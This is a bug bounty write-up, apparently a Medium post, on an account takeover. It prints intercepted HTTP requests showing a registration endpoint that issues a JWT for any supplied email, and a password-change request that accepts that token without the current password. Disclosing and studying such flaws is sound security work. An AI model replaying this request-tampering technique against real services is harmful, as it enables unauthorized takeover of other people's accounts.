A tale of critical account take over

Hello everyone I hope everyone is healthy and safe taking precautions as well

So , I am going to share my latest finding which I have found on private program let’s get started !!

So first thing i do is check login with google and Facebook feature on program and I had this feature in my program

How does that work :

1) click on login with google

2) enter you email id and password

Simple right ?? Wait for twist

we all know vulnerability like changing email with other user email that will logged into their account but not the case this time

As , my program was using jwt authentication it will generate jwt for given email after successfully login attempt

basically while logged in with google I intercepted all request one by one

and surprisingly in my burp history I found an api endpoint that that generates jwt token of user via taking email id as parameter see below

POST /register?src=aweb HTTP/1.1

Host: userapi.target.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.target.com

cp-origin: 11

Content-Type: application/json

X-Auth-Token: xxxxx

X-JWT-Token:

Origin: https://www.target.com

Content-Length: 1354

Connection: close

{“name”:”Shivam Pandey”,”email”:”shivam@gmail.com”,”providerUserId”:”103151677586368643333",”providerToken”:” eyFuZGV5IiwibG9jYWxlIjoiZW4tR0IiLCJpYXQiOjE1OTQyMjE3NzQsImV4cCI6MTU5NDIyNTM3NCwianRpIjoiODI4MWQwMWNhMTI0NTBkODA0YWQ4YzdkYWEzYTQ5MWI1MTA4M2JlMSJmHBAN06Wv1CspbxbXxxvlCieGHjlXrF5S8TbQvLTwIHKwdlbXhbuYydHpTubRQojAc_ZcHdHlMgumx6XJLvUk10dHkN_V1eQ”,”providerName”:”g”}

In above request “provider token” will generate jwt token for given email . so here I changed email with my test account that is testhunter@gmail.com and got his jwt token see response

HTTP/1.1 200

Content-Type: application/json;charset=UTF-8

Content-Length: 476

Connection: close

Date: Wed, 08 Jul 2020 15:42:16 GMT

Server: nginx/1.16.1

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: 0

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

Access-Control-Allow-Origin: https://www.target.com

Vary: Origin

Access-Control-Allow-Credentials: true

X-Application-Context: application:prod

X-Cache: Miss from cloudfront

{“userInfo”:{“id”:8023402,”name”:”Test account Reddy”,”email”:”testhunter@gmail.com”,”status”:2,”phone”:”xxxxxxxxxx",”phoneVerified”:true,”socialUserId”:”8023402",”wasUserExists”: :true,”coins”:1209.00},”jwtToken”:”eyJhbGciOiJIUzUxMiJ9.MjM0MDIiLCJpYXQiOjE1OTQyMjI5MzYsImlzcyI6ImFkZGEyNDcuY29tIiwibmFtZSI6IlNyaWthbnRoIFJlZGR5In0.CNjPEj182YvEsdqMOYE_MauFnkl”}

Hey I have changed jwt token for security purpose

After seeing this I was like :

So I already have jwt token what I can do ?? I know I can perform email change request but my target doesn’t not allow it 😒

So saw there is small low hanging fruit on account setting page wanna see

No current passowrd required for change passowrd

So I quickly made intercept request for new password see below

So in email param I changed it with my test account email it gave me 401

So I just changed jwt token which I steal previously with changing email param and successfully changed victim password

For confirmation got this on victim window

I was like yes eureka !!!

Takeaway:

1)Always mess with api endpoint

2) check burp history for juicy endpoints

3) test login with google and Facebook feature

Timeline : reported

Got duplicate but still learned a lot

Got question or suggestions ?? Find me on twitter

Student and bug bounty hunter

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store